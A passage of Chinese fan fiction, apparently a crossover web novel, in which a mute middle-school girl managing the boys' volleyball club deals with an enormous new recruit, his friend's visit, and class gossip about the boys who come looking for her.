“因为排球社最出名啊!班级里的人都是这样讲的,我就过来了。” 这句话算是夸到了教练的心坎上,聊了这么久总算有一句能听的话。 沉吟一下,教练决定:“那就试试吧。” 让他来看看这个被跆拳道社紧抓着不放手的人,在排球上面有没有什么等待开发的闪光点。 教练也没有多余去问猛男之前打没打过排球。 一看就是没打过,估计连规则都不知道。 大手一挥直接吩咐金田一带着猛男先逛一圈,给他讲讲比赛规则,再带他学习一下基础的排球技巧。 刚田猛男也没有想到自己的请求会被答应的如此顺利,他都在想下一个社团该选哪个了,喜悦中屁颠屁颠地跟在金田一的身边。 金田一:“……” 有一种被猛兽盯上的感觉,好强的压迫感! 硬着头皮带猛男先熟悉一下场馆,二人迎面撞上终于整理好杂物间的佐藤和日向葵。 三步并做两步,看见刚田猛男的瞬间佐藤大智从日向葵的身侧瞬移到了她的身后,想要拿女孩匀称的身体遮挡住圆润的自己。 啊啊啊啊啊啊,妈妈! 有怪兽!! “不要害怕啊……” 金田一觉得自己脱口而出的这句话有点奇怪。 ……这不就坐实了猛男的长相很令人害怕吗? 他赶紧调整说法,帮猛男做介绍: “这是刚入社的刚田猛男,那边的男生是二年级的佐藤大智,是排球社的经理。” 日向葵配合地往旁边跨一步,让佐藤完整地露出来。 “前辈好!”猛男乖巧鞠躬。 他就说刚才自己好像忘了什么事情,见到前辈的第一面应该先鞠躬的,而他看见金田一的时候因为太过紧张直接伸出了手…… 现在补一个! “……你干嘛呢?”金田一看着在他和佐藤之间来回鞠躬的猛男,感觉自己也要开始害怕了。 日向葵自觉这场戏没自己什么事情,转向要离开,却跟还在偷看猛男的影山飞雄对上了视线。 ……这是还没问够吗? 脑筋一转,日向葵拉住金田一的衣摆,让他在猛男的魔幻行为中回神。 「让影山前辈带刚田同学吧。」 这么关注刚田猛男,如此心神不宁的,还不如直接让影山来带猛男,也放金田一一个轻松自在,认真去训练。 “但是教练……”金田一有几分心动,但又有些为难。 这毕竟是教练交给他的任务。 日向葵一听就知道金田一的责任感走错地方了。 这也不是什么大事。 「教练不会问的,就算问起来也可以说是影山前辈非要来带刚田同学,不给他带就不好好训练。」 很假的一个理由。 但是其他人不说,日向葵拉影山飞雄下水是真的毫无心理压力,一丁点儿甩锅的负罪感也没有。 也当然不是真的让影山背锅,难得日向葵开了个玩笑,虽然金田一没有get到。 这个排球社里的人都太过于畏惧教练,也可以说是过于守规矩,根本不知道变通,也不敢变通。 带新人这种小事情能出什么事,人给他教明白不就可以了? 退一万步讲,就算真出了什么事情,教练还能把他们吃了吗? 「你是队长,把这个工作委派给影山前辈就好了,到时候只需要验收成果。」 金田一也就只有这一年可以耍耍队长的威风了,等到升学上高中又要变回学弟,现在有权力还不赶紧用起来。 什么杂事都往自己身上揽,不见得会有什么提升和奖励,但一定会累到自己。 继续让金田一带猛男当然也可以,但是影山也不会放弃对刚田猛男的关注,还耽误了金田一训练的时间,显然不是最优解。 并且日向葵目测影山飞雄和刚田猛男都属于天然呆那一类,有话直说还不会撒谎,大概率很合得来。 「安心,没问题的。」 金田一看日向葵如此笃定,犹犹豫豫地采纳了她的提议。 如果是岩泉前辈在这里的话,应该也不会觉得这是一件需要多纠结的事情吧。 …… 如日向葵所料,影山飞雄和刚田猛男果然很合得来,学习方面都没什么脑子,但是对于排球比赛的规则一记一个准。 影山又对着猛男演示了一些打排球的基本技巧,让猛男在一边自己练一下。 看到猛男打得有模有样的,他不禁满意地点头。 这个体型哪哪都好,适合拦网也适合当攻手,就是不知道猛男的移动速度够不够快,弹跳力和滞空时长够不够强,如果身体过于笨重的话 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生理层面体质较男生更弱的女生都可以做的这么好,还这么上进,他们有什么脸面懈怠。 深蹲,卷腹,长跑,冲刺,这些基础的体能训练她都会跟着一起,练完以后自己找个地方拉伸放松,然后继续当经理。 缺人的时候也会帮忙传个球,垫个球,角度精准,身体也很灵活,已经有队员在争执她是更适合当二传手,还是更适合当自由人了。 影山飞雄已经不再劝她离开男排,甚至有点儿想引荐她去打女排,也终于理解招新的时候女排队员为什么拦着日向葵,不让她加入男排。 这身体素质完全可以上赛场,但却没有参赛资格,影山都替日向葵和女排感到惋惜。 日向葵不惋惜,也不需要别人来替她惋惜。 她是少了一种人生的选择,又不是必要的选择,现在来了猛男这个好苗子分担影山的关注,她乐见其成。 训练中,时间一分一秒地流逝—— 不知道是谁的手机铃声响了起来。 刚田猛男第一次来排球社,没有带自己的运动服,体育馆里也没有合适他的型号,他就把外套脱下折叠整齐放在休息座椅上,自己穿着衬衫在那里打排球。 现下外套口袋里的手机阵阵作响。 响第一遍的时候,他还没听出来是自己的手机铃声。 直到被附近的人提醒才赶忙跑过去,像是抱着一颗炸弹一样蹿到角落里,接起了电话: “喂,啊,啊砂,我在排球部哦。” 他最好的兄弟——砂川诚,部活结束叫他一起回家。 但是这是他来排球社的第一天,不好意思提前走。 “嗯嗯,你先回家吧。” 另一边—— 日向葵用小推车带着队员们的水瓶出来打水。 这一箱水都不够她一个人打的,好在她已经可以熟练地判断水箱里还剩多少水,每个人的水瓶里面应该灌多少水,不会出现“三杯水分给四个领导”的情况。 “请问,你知道排球社怎么走吗?” 日向葵寻声看去,一位面容姣好的男生出现在她面前。 40.初中篇 香槟色的柔顺短发在微风中轻轻摇曳,清俊的面庞拥有挺直的鼻梁和温柔多情的双眼,茶褐色的瞳孔更像是把琥珀藏在眸中收敛了光芒。 男生泰然地看着日向葵,语气没有一丝波澜,温润面孔下高冷的底色缓慢流露,却没有破坏他的俊美,反而增添了特别的立体感。 这样的人物在学校里应当是很出名的,但是远离人群的日向葵并没有听说过,只是扫了一眼,空出一只手,单手打字: 「稍等一下。」 帅哥可以欣赏,但是干活更重要。 日向葵旁若无人地继续接水。 好险,还以为也是来灌水的,差点儿水就不够她接的了。 砂川诚:“……” 他也是第一次被人这么无视,还是被一个女生。 一直以来都讨厌那些只看中皮囊的人如狂蜂浪蝶般向他涌来,现在突然收获轻飘飘的忽视也是有点不太习惯。 他是认识日向葵的。 拿着这么多水瓶出来装水一看就是来自人数比较多的运动类社团,而且还是别人口中那位拥有乌黑秀发的女生。 砂川诚只看到日向葵的背影就大致确认了她的身份,靠近后对上女孩独特的双眸更是确定自己的猜测是正确的。 他找对了问路的人,甚至找到的是男子排球部唯一的女经理。 “……我来帮你吧。” 不好意思看着别人干活,砂川诚找个地方放下了自己的书包,挽起衣袖来帮日向葵灌水。 看到男生已经做好帮忙的准备了,日向葵虽然不认识他,但也没再跟他客气,拿出手比量了一下灌水的高度,还盯着砂川诚灌完了第一瓶水,确认他理解了自己的意思,才放心让他一个人干活。 一时只有水流冲击瓶身的声音。 灌水ing—— 「谢谢,跟着我走就好。」 砂川诚重新背上书包跟在日向葵的身后。 他是来找自己的幼驯染——刚田猛男的。 虽然猛男电话里说了不用等他,但是他想了想还是应该来看一下。 以猛男在男生堆里面受欢迎的程度,他不担心猛男跟排球社队员之间的相处。 可是猛男进的又是以成绩优异和管理严格出名的男子排球社,猛男他之前又对排球一无所知,所以砂川诚终归是不放心,想来看一下自家幼驯染在排球社里的状态。 走到门口,一眼看过去甩别人十条街,最高最壮的就是刚田猛男。 正独自在角落里聚精会神地练习垫球。 姿势OK,专注力OK,但是力气不OK,把球垫的超高,差一点打到棚顶。 前几个还垫的挺正常,但是只要一次垫偏就次次垫偏。 猛男的反射神经很发达,速度也够快,这种高抛物线的球飞偏了就算是新手也能尝试救一下,更何况是他。 可救回来的球他就保证不了方向了,只能到处乱飞,猛男也跟着到处乱跑,从角落一点点向中心偏移,硬生生把自己身边打出来一片真空地带。 周边的队员不知道是包容性强还是不敢说话,没有人指责制止刚田猛男。 还是后发现的影山把人拦下,让猛男回到角落里面重新练习,有打偏的就让球自然落地,捡回来重新开始。 日向葵让砂川诚在门口等一下,自己进去把猛男叫出来。 “啊砂,你过来干什么?” 猛男抱着排球疑惑地看着砂川诚,半点儿没有自己让人不放心的自觉。 “没事,顺路就走过来了。” 根本也不顺路,但是砂川诚也习惯不对这位头脑简单的朋友解释什么。 看猛男在排球社里面自己玩也能玩得这么开心,他也知道没什么可为猛男担心的了,还不如担心一下旁边可能被猛男误伤的队员们。 人也见到了,砂川诚也不再做停留: “那我先走了。” “啊?噢……明天见!”啊砂怎么总是奇奇怪怪的? 摸不着头脑的猛男站在体育馆门口目送好基友离开。 还没等砂川诚完全离开猛男的视野,另一个身影朝着这边走了过来。 男生与砂川诚路上相遇,互相看了一眼又错开眼神,二人擦肩而过。 男生——狗卷棘来到体育馆门前站定。 也是第一次见到刚田猛男,狗卷棘被这远超常人的体型惊了一下,顿了几秒后掏出手机: 「你好,日向葵在吗?」 “哦……”日向葵是谁啊? 怎么听起来像是女孩的名字?是不是找错地方了?也是,也会有很多男生的名字起得像女生的。 不知道日向葵姓名的刚田猛男自己说服自己。 热心肠的他想着不认识也没关系,他自有办法。 猛男转头深吸一口气: “日向葵在吗?门口有人找!” 高昂的大嗓门破空而出,把本就站在他不远处整理毛巾的日向葵吓得心跳差点暂停。 所有队员一下子都停止动作,视线汇聚过来。 没有得到回应的刚田猛男有些疑惑是没听见,还是人不在,又喊了一声: “日向葵!人在吗?” 在场的队员看看女孩,又看看猛男,一时都失去了说话的能力,已经开始替日向葵尴尬了。 还是影山从这荒诞的情景中回过神,高声说: “在的!” 手指指向日向葵的方向。 “在吗?” “在哪呢?” “啊……” 刚田猛男这才发现从自己身边钻出体育馆的日向葵,恍然大悟中吃惊地后退几步。 原来从他进到排球社开始,接待他的女孩就是日向葵……自己竟然连人家的名字都不清楚,还这么失礼地一遍遍大声喊?! “抱歉!” 日向葵摆了摆手表示没关系,也是她自己没跟猛男说过自己的名字,闹出这个笑话她也有责任。 没时间安慰身后鞠躬道歉的猛男,日向葵看向体育馆门口.活人微死状态中的狗卷棘。 “你怎么来了?” 狗卷棘这才把思绪从刚田猛男身上收回来,一脸的欲哭无泪。 他刚刚真的想把对方的嘴捂上,但是奈何身高根本不够…… 感觉自己闯祸了,狗卷棘不好意思地苦笑一下,把手里的袋子拎起来将功折罪。 今天五条悟带他们去横扫甜品店,吃到了一款特别好吃的蛋糕,他就想带给日向葵尝一下。 等到明天蛋糕的口感就会变差,狗卷棘就拜托司机先生又把自己送回学校。 用五条悟的话来说,训练什么时候都可以,但是甜品的赏味期不容错过! “谢谢。”< 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座位在门口的女生正在和同桌聊天,听到响起的悦耳嗓音觉得不简单,一回头就受到来自门外男生的美颜暴击,眼睛都看直了。 只能做到单纯地把男生的话复述一遍,完全过不了脑子。 “是的,日向葵同学。” 担心有重复的姓氏,男生把名字又完整地说了一遍。 女孩这才找回意识,立刻转头朝着日向葵结结巴巴地喊:“日、日向葵,啊不,日向同学,有帅、人找你!” 眼睛亮晶晶的,脸颊红扑扑的,比任何的化妆品都要有效果。 女生脸上大写着——“有惊喜,快来!”。 连续两天被人在公共场所喊全名,力争当小透明的日向葵真的会无奈。 而且“帅人”是什么人啊? 日向葵在女生催促的眼神中起身,不打算穿过班级再接受其他同学们的注目,直接从后门出去通过走廊来到前门。 刚出后门日向葵就认出了找她的男生——砂川诚。 这一对好兄弟是带点儿说法的,一个两个都有点克她。 没等日向葵拿出笔记本,砂川诚先把手上的便当盒递了过去: “这是猛男妈妈亲手做的点心,让猛男拿给你。” “现在他有点事情来不了,就托我送过来。”正在被跆拳道社和足球社一起追着跑,求他参加校园交流赛。 顺带一提,刚田猛男在加入跆拳道社之前也去足球社试过,是个谁也踢不穿的守门员。 刚田猛男觉得没意思就没有选择,后来就先进了跆拳道社。 “感谢你昨天对猛男的帮助,他有时候咋咋呼呼的多有冒犯,也请担待一下。” “吃完的便当盒社团活动的时候还给猛男就好。” 不想麻烦日向葵写字回复,砂川诚快速交代完事情告别。 离开的时候又迎面碰见狗卷棘,二人的视线再次交错,又分离。 狗卷棘:“……” 他看到了日向葵手里花布包裹的便当盒,回头又去看砂川诚的背影。 莫名的危机感在他的心头涌现…… 41.初中篇 看见狗卷棘回来,日向葵也没解释自己和砂川诚之间的事情。 下意识要从前门进入教室回座位,却看见坐在门口的女生正捧着脸一脸幸福地发呆,她旁边的另一位女同学激动地快把她的肩膀拍烂了。 刚刚那个可是整个年级组最帅的男生! 那精致的眉眼!白皙的皮肤!清晰的下颌线!还距离她们那么近! 据说性格冷淡得很,根本不和女同学说话,有人表白就干脆利落地拒绝,超级难接近。 但是今天我的姐妹跟他说上了话! 啊啊啊啊啊啊! 日向葵迈进教室的脚步向后一退,也拦住了想跟随她进入教室的狗卷棘,示意狗卷和她一起从后门回座位。 但走后门也没有被同学们放过。 在教室里的同学大多关注到了刚才的动静,没关注到的也被身边的人提醒知道了,当下都明晃晃地向日向葵投来视线。 还有的人一边看她一边和同伴窃窃私语,听不清在说些什么。 日向葵是没有听到,就在人堆里面的伏黑津美纪是听了个清清楚楚。 “日向怎么认识C班的砂川诚啊?” “不知道啊,而且还给她送便当,关系很好啊。” “在班级里面只跟狗卷玩,出了班级还能认识砂川诚那样的花美男……日向同学看来只跟长得好看的玩啊~” “谁知道呢……还都是男生。” 津美纪都快把筷子咬烂了,想开口说点什么却不知道从哪里说起。 在同学眼中事实就是这个样子。面对其他同学,日向葵就是谁的邀约都不接受。 狗卷棘这位看起来比她更冷酷的人,和同学之间的关系都要更好一些,早晨来到班级还会抬手跟同学们打个招呼。 日向葵却能做到班级里谁的联系方式都不加,谁也都没有她的联系方式,把远离他人贯彻到底。 性格如此孤僻的人竟然认识隔壁班人尽皆知的大帅哥,还是能让对方来送便当的程度,不免让人浮想联翩。 已经有同学凑到前门门口的那位女生旁边,去问她有没有听到什么详细对话了。 眼见日向葵拿起桌上自己的便当就要跟狗卷棘一起出去,这一次送便当事件将会变成风言风语在背地里传播,樱井桃子看着津美纪担忧的神色,嚼嚼嚼嚼,咽下: “日向同学,你跟砂川诚怎么认识的啊?” 声音不大不小,刚好足够把全班同学八卦的目光再次聚集过来。 日向葵脚步一顿,有些诧异地看向樱井桃子。 她能感觉到樱井并不喜欢她,甚至可以称得上有点讨厌她,没想到还有主动跟她说话的一天。 而且…… 翻出便携笔记本,日向葵举到樱井眼前: 「砂川诚是谁?」 樱井桃子:“……” “就是刚刚来班级门口找你,给你送便当的那个美型男生啊!你不知道他叫什么?” 日向葵恍然大悟。 又不是排球社的队员,日向葵压根没注意猛男是怎么称呼砂川诚的。 「现在知道了。」 「是排球社的某位队员托他给我带点心,因为我帮了那位队员一点儿小忙。」 日向葵不紧不慢地写,樱井桃子也不紧不慢地边吃边等,围观的人都比他们俩着急,两个对话的当事人却很闲适。 “啊,这样啊~” “原来是你帮了别人忙,别人想给你送点心感谢你,但是有事没时间自己来送,就拜托砂川同学送过来了呀~” “那你帮的那个人和砂川同学的关系很不错欸~”不是日向葵和砂川诚有什么私交。 自动补齐整个事件的脉络,樱井桃子把事实散播出去。 反正真实版本她已经帮忙说出来了,之后会被讲成什么样子就不在她的考虑范围内了。 虽然她不是很喜欢日向葵,但是更不喜欢其他同学根据自己的一知半解在背后编排别人。 并且…… 樱井从便当里叉出一块玉子烧递给津美纪。 “好好吃饭吧。”其余就不是她们能操控的了。 …… 天台的门是锁上的。 日向葵现在已经习惯和狗卷棘一起吃午饭,也不想再像小学的时候一样两个人挤在天台转角的走廊里用餐。 一个人在那里待着像是沉思者,两个人在那里待着就有一种见不得光的阴郁感了。 狗卷棘和日向葵又走到楼下草坪,摊开一张野餐垫坐下开始享用便当。 日向葵依次打开自己的便当盒和砂川诚送来的便当盒——是满满当当的一整盒铜锣烧。 用料扎实到红豆馅都要满溢出来。 双手合十感谢猛男妈妈的投喂,日向葵把铜锣烧推到二人中间。 “一起吃吧。” “好。” 狗卷棘有点儿蔫蔫的,水润但黯淡的眼眸瞄了一眼日向葵却欲言又止。 日向葵:? “你也想知道我跟砂川诚的关系?” 狗卷棘瞬间瞪圆了眼睛,脑袋里面拉响了警报。 关系?什么关系?不是没有关系吗? “不是别人拜托他送过来的吗?” “对啊,不是别人拜托他送过来的吗?” 日向葵难得有闲心逗弄一下狗卷棘,似笑非笑地把狗卷说的话重复了一遍。 狗卷棘哽了一下,意识到自己是被日向葵打趣了,眼神中生出哀怨,略带着撒娇的口吻委屈道: “你什么都不跟我……” “不跟你什么?” 狗卷棘连忙摇头:“没什么!” 好险,差一点就把窗户纸捅破了。 自从伏黑津美纪找他私聊之后,他就有意识的在观察日向葵跟别人相处的状态。 可以说完全没有相处。 就差把她不喜欢交朋友,她不需要朋友写在衣服上了,主打“找我帮忙可以,跟我聊感情还是算了”。 这时他才清楚,自己在小学的时候转学进入日向葵的班级是他做过最正确的决定,真的是赶上了好时候,可以乘坐上和日向葵做朋友的末班车。 越明白现在跟女孩之间友谊的来之不易,就越有顾忌,狗卷就不敢再有多造作。 日常也是他单方面对日向葵开启话题,从来没见过日向葵主动分享自己生活的点滴。 现在如果直接向日向葵抱怨说她什么都不跟自己分享……他真的会怕日向葵直接告诉他就是不愿意跟他分享。 日 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怎么一天里能有两个男生都来找日向葵?加入了男生多的社团就可以有这么多男生来找吗? 女同学把书包带扣好,一抬眼却被快赶上门框高的刚田猛男吓得一惊。 大、大猩猩吗?! 不是,日向的交友圈子这么广的吗?来找她的两个男生的差别好——大! 可以说是一个在天上,一个在动物园。 猛男没得到回应,以为女生还是没有听见自己说话,就弯腰把头伸进来: “你好,日向同学在吗?” 女同学:!! 只有一个头进来更吓人了!!! 女生的身体猛然后倾靠紧椅背,双脚不自觉地向后蹬,把后座的桌子都往后推跑了几厘米。 “找日向啊,日向!” 这一声喊的有一种在叫日向葵来救她命的感觉。 其实刚田猛男人一站在门口,日向葵就看见他了。 以防男生又做出什么惹人注目的举动,日向葵先一步挥了挥手想吸引猛男的注意。 显然猛男没有看见,并且通过一个头部特写轻易让门口的女生吓破了胆,又全场通报了一遍日向葵的名字。 ……再来几遍她可能就真的要习惯了。 日向葵也不再顾及什么,用力拍了几下桌子终于把猛男的视线吸引过来。 猛男一副懂了的表情竖了个大拇指,从前门转战到后门,向日向葵小幅度地招手。 小声说:“你来呀,你过来。” 全程都注意放低音量的他还是凭着一己之力让别人都放大了声音。 日向葵放下没收拾好的书包,带着疑惑走到教室门旁。 「什么事?」 “我们一起去排球社啊~” 日向葵:…… 她扭头看了一眼自己收拾到一半的书包,又回头看了一眼刚田猛男,无语地叹了口气。 「你先过去吧。」 “没事,我们一起!” 日向葵:…… 「稍等。」 忘了像他和影山前辈这种光长肌肉不长脑子的人听不懂拒绝了。